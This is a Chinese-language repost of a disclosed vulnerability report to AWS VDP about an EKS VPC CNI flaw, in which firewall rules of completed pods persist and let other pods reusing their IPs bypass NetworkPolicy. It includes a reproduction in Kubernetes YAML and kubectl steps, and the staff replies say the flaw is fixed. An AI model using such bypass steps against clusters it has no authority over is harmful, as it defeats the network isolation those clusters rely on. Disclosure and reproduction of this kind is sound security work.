AWS VPC CNI 控制器网络策略绕过漏洞剖析

本文详细分析了AWS EKS环境中一个Kubernetes网络策略绕过漏洞。由于VPC CNI控制器未能正确处理已终止Pod的防火墙规则，导致后续分配到相同IP的新Pod可能继承其网络访问权限，从而绕过安全策略。

AWS VDP | 报告 #3328291 - 已完成的Pod存在允许绕过Kubernetes NetworkPolicy

时间线 savannabungee 向 AWS VDP 提交了一份报告。 2025年9月5日，上午11:23（UTC）

描述

当配置为管理NetworkPolicy规则时，Amazon VPC CNI控制器会错误地将已完成的Pod的防火墙规则当作该Pod仍在运行一样来应用，导致这些规则被应用到其他无关的、恰好分配到相同IP地址的Pod上。

例如，如果您有一个IP地址为X的Pod A。NetworkPolicy允许Pod A进行某些访问，VPC CNI控制器通过在节点上为IP地址X添加防火墙规则来实现这一点。当Pod A完成（例如，如果它是一个Job），这些防火墙规则不会被移除。由于Pod已完成，其他Pod可以自由地获得相同的IP地址。如果未被NetworkPolicy授予任何访问权限的Pod B被分配了相同的IP地址X，那么Pod B将继承Pod A所具有的网络访问权限，直到已完成的Pod A被删除。

正确的行为应该是检查Pod是否完成，并将Pod完成视为与Pod删除相同，在Pod完成时移除防火墙规则。

受影响版本

我在EKS版本1.33上测试了此问题：

  • 启用了网络策略控制器的auto模式
  • 非auto模式，使用VPC CNI插件 v1.19.5-eksbuild.1
  • 非auto模式，使用VPC CNI插件 v1.20.1-eksbuild.3

严格模式没有任何影响。

POC

在启用了auto模式或enableNetworkPolicy设置为true的VPC CNI控制器的EKS集群上，应用以下预备性Kubernetes资源：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

---
apiVersion: v1
kind: Namespace
metadata:
  name: networkpolicy-test
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: whoami
  namespace: networkpolicy-test
spec:
  replicas: 1
  selector:
    matchLabels:
      app: whoami
  template:
    metadata:
      labels:
        app: whoami
    spec:
      containers:
        - name: whoami
          image: traefik/whoami:latest
          ports:
            - containerPort: 80
---
apiVersion: v1
kind: Service
metadata:
  name: whoami
spec:
  ports:
    - port: 80
      targetPort: 80
      protocol: TCP
  selector:
    app: whoami
---
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: ingress
  namespace: networkpolicy-test
spec:
  podSelector: {}
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          test: allowed
    ports:
    - protocol: TCP
      port: 80

此NetworkPolicy配置将允许以下Job连接到Deployment：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

---
apiVersion: batch/v1
kind: Job
metadata:
  name: allowed
  namespace: networkpolicy-test
spec:
  template:
    metadata:
      name: curl
      labels:
        test: allowed
    spec:
      containers:
        - name: curl
          image: "alpine/curl:latest"
          command: ["curl", "-v", "whoami.networkpolicy-test.svc.cluster.local:80"]
      restartPolicy: Never

但以下Job将被阻止并超时：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

---
apiVersion: batch/v1
kind: Job
metadata:
  name: blocked
  namespace: networkpolicy-test
spec:
  template:
    metadata:
      name: curl
      labels:
        test: blocked
    spec:
      containers:
        - name: curl
          image: "alpine/curl:latest"
          command: ["curl", "-v", "whoami.networkpolicy-test.svc.cluster.local:80"]
      restartPolicy: Never

但是，如果存在处于Completed状态的允许的Job，被阻止的Pod有机会接收到与已完成的允许Pod相同的IP地址，当发生这种情况时，被阻止的Pod将违反NetworkPolicy，能够访问Deployment。

为了便于重现，我建议应用附加的 █████████ 文件来创建20个允许的Job。等待所有20个Job完成，然后应用附加的 ██████████ 来创建20个被阻止的Job。几乎可以肯定的是，一些被阻止的Pod将被分配与已完成的允许Pod匹配的IP地址，因此将能够连接到Deployment并成功退出。一些被阻止的Pod将被分配不同的IP地址，结果将正确地无法连接到Deployment、挂起然后报错。

影响

摘要：在依赖Kubernetes NetworkPolicy规则来限制网络访问的EKS集群上，拥有已完成的、被允许某些访问的Pod将导致其他Pod获得相同的访问权限。

savannabungee 更新了漏洞信息。 2025年9月5日，上午11:27（UTC）

h1_analyst_lucas HackerOne triage 将状态更改为 Needs more info。 12天前更新

您好 ████████，

感谢您的报告。我们感谢您在披露此事上投入的时间和精力。

虽然您的报告提供了有关此安全问题的有价值的高级信息，但我们需要更多详细信息来正确验证和分类此问题。由于我们的安全团队将从零开始重现此问题，因此我们将从更全面的设置和验证说明中受益匪浅。

请问您能否提供：

  1. 测试此问题所需的初始设置的详细分步说明
  2. 完整的重现步骤，假设读者对此特定问题没有先验知识
  3. 关于如何验证存在的问题的清晰指导（不会对系统造成任何损害）
  4. 关于安全影响的更具体细节：
    • 机密性：哪些具体数据或信息被暴露？
    • 完整性：系统完整性如何受到影响？
    • 可用性：对服务可用性的潜在影响是什么？

再次感谢您向我们报告此问题。我们期待您的回复，以便我们能够正确评估和解决此问题。

此致， ███████

savannabungee 将状态更改为 New。 12天前更新

您好 ███████，当然我很乐意尝试提供更详细的设置说明。这些步骤用简单的术语解释了初始环境设置（步骤1-3）、漏洞重现（步骤4、6和7）以及如何验证问题是否被复现（步骤8）。

分步说明 如果无法获得配置了VPC CNI控制器来管理NetworkPolicies的现有Kubernetes集群，那么设置具有VPC CNI控制器的环境的最简单方法是创建一个启用了auto模式的新EKS集群。对于大部分的初始设置，标准的AWS指南就足够了，因此我将参考这些指南。

  1. 创建启用auto模式的EKS集群：https://docs.aws.amazon.com/eks/latest/userguide/create-cluster-auto.html 如果通过AWS控制台操作： 1.1 为集群命名任意名称。 1.2 使用"创建推荐角色"按钮创建集群角色（可以命名为任意名称）。 1.3 在集群设置页面选择创建的集群角色。 1.4 所有其他设置可以保持默认。

  2. 集群创建完成后配置kubectl：https://docs.aws.amazon.com/eks/latest/userguide/create-kubeconfig.html 2.1 使用aws CLI最容易做到这一点：https://docs.aws.amazon.com/cli/latest/userguide/getting-started-quickstart.html 2.2 然后应该可以简单地运行 aws eks update-kubeconfig --name <在步骤1中创建的集群名称>

  3. 启用网络策略管理 (参考：https://docs.aws.amazon.com/eks/latest/userguide/auto-net-pol.html) 3.1 运行 kubectl apply -f enable-network-policy.yaml 3.2 运行 kubectl patch nodeclass default --type=merge -p '{"spec":{"networkPolicyEventLogs":"Enabled"}}' 3.3（此步骤可能不是必需的）它可能不会对现有节点生效，所以为了以防万一，通过运行 kubectl drain -l karpenter.sh/nodepool=general-purpose --ignore-daemonsets --delete-emptydir-data 来清空所有现有节点。

  4. 通过运行 kubectl apply -f setup.yaml 来设置测试Kubernetes命名空间和资源。

  5. 验证Kubernetes NetworkPolicies是否在集群上正常工作。 5.1 运行 kubectl apply -f blocked-job.yaml 5.2 使用 kubectl get pod -n networkpolicy-test -l test=blocked 检查创建的Pod的状态。起初它将显示为Running状态，然后超时后将显示为Error状态。存在状态为Error的Pod表明Kubernetes集群上启用了NetworkPolicy管理。存在状态为Completed的Pod表明集群上未正确配置NetworkPolicy管理（返回步骤3） 5.3 通过运行以下命令清理Job：kubectl delete job -n networkpolicy-test blocked

  6. 创建旨在能够连接到whoami部署的Jobs 6.1 运行 kubectl apply -f ████ 6.2 所有Jobs都应该启动并在没有错误的情况下完成（即显示Completed状态），这可以通过 kubectl get pod -n networkpolicy-test 或 kubectl get job -n networkpolicy-test 来检查。

  7. 创建应该被NetworkPolicy阻止的Jobs 7.1 运行 kubectl apply -f blocked-job20.yaml 7.2 稍等片刻，让所有Pod启动。

  8. 验证 8.1 使用 kubectl get pod -n networkpolicy-test -l test=blocked 检查被阻止Pod的状态。 8.2 所有被阻止的Pod本应被配置的NetworkPolicy阻止。如果一些Pod显示为Completed状态，而另一些显示为Error或Running状态，则漏洞得到确认。 8.3 为了进一步确认漏洞，通过运行 kubectl get pod -n networkpolicy-test -o wide 检查Pod的IP地址。所有IP地址与一个或多个允许Pod的IP地址冲突的被阻止Pod应显示为Completed状态。任何IP地址与允许Pod的IP地址不匹配的被阻止Pod应显示为Error或Running状态。

影响

  • 同一Kubernetes集群上的Pod能够访问它们本应被NetworkPolicy规则阻止访问的网络端点（防火墙绕过）。
  • 具体来说，NetworkPolicy规则被错误地随机应用（基于IP地址分配）。一些Pod将被授予它们本不应拥有的访问权限。这实际上使得EKS中的NetworkPolicy规则无效。
    • 机密性：暴露了哪些具体数据或信息？ 依赖网络控制来保护数据的EKS中运行的服务可能使其数据暴露。
    • 完整性：系统完整性如何受到影响？ 依赖NetworkPolicy规则防止未经授权访问端点的服务可能被访问。
    • 可用性：对服务可用性的潜在影响是什么？ 基本上不适用。

h1_analyst_lucas HackerOne triage 将严重性从中等(4.4)更新为中等(4.3)。 2025年9月7日，上午6:58（UTC）

根据POC中提供的证据，我认为严重性显示了以下影响： 同一Kubernetes集群上的Pod能够访问它们本应被NetworkPolicy规则阻止访问的网络端点，实际上造成了防火墙绕过。因此适用中等严重性。 请注意，在团队基于补偿控制和上下文做出最终评估后，这可能会发生变化。

h1_analyst_lucas HackerOne triage 将状态更改为 Pending program review。 12天前更新

您好 ██████，

感谢您的提交！我们能够验证您的报告，并已将其提交给相应的修复团队进行审查。他们将告知我们此报告的最终裁决，以及是否/何时将实施修复。请注意，状态和严重性可能会发生变化。

谢谢， ████████

gabagh00l418 AWS VDP staff 发表了评论。 12天前更新

您好 ████████，

我是负责协调漏洞披露的AWS VDP团队成员。感谢您将您的关注点提请我们注意。我们目前正在审查您的报告，并将随着进展和每月定期向您提供更新。

同时，如果您有任何问题，欢迎告诉我。

此致， ████

gabagh00l418 AWS VDP staff 将状态更改为 Triaged。 12天前更新

您好 ████████，

感谢您的提交！我们能够验证您的报告，并且正在制定适当的修复方案。

在我们进行修复的同时，我们还想确认您是否计划在任何期刊或其他场所发布您的发现。如果是，我们很乐意与您合作。

感谢您协助我们帮助保护客户的安全。如果您有任何进一步的问题、评论或疑虑，请随时与我们联系。

此致， ███████

savannabungee 发表了评论。 2025年9月22日，下午1:18（UTC）

谢谢。当您认为合适时，如果您能将报告公开，我将不胜感激。 我看到问题已在代码库中修复，关于何时部署修复以及用户是否需要做任何事情的指导将不胜感激。

gabagh00l418 AWS VDP staff 发表了评论。 12天前更新

您好 █████，

感谢您在我们完成修复过程中给予的耐心。我很高兴地通知您，我们已经完成了对修复程序在所有EKS区域的部署，并且客户无需采取任何操作即可使用该修复程序。在披露之前，我们将完成标准的准备工作流程。一旦报告公开，我将通知您。

此致， ████████

gabagh00l418 AWS VDP staff 关闭了报告并将状态更改为 Resolved。 12天前更新

您好 █████████ 感谢您的耐心等待。我们已经完成了剩余流程，现在我将着手解决此案例并努力使此报告公开可用。

此致， ███

gabagh00l418 AWS VDP staff 请求披露此报告。 12天前

gabagh00l418 AWS VDP staff 披露了此报告。 12天前

报告于 2025年9月5日，上午11:23（UTC） 报告者 savannabungee 报告至 AWS VDP 管理参与者 报告 ID #3328291 已解决 严重性 中等 (4.3) 披露时间 2025年11月19日，下午11:05（UTC） 弱点 不当的访问控制 - 通用 CVE ID 无 赏金 无 账户详情 无

comments powered by Disqus
© 2020 - 2026 qife
使用 Hugo 构建
主题 Stack 由 Jimmy 设计
本站总访问量次 本站访客数人次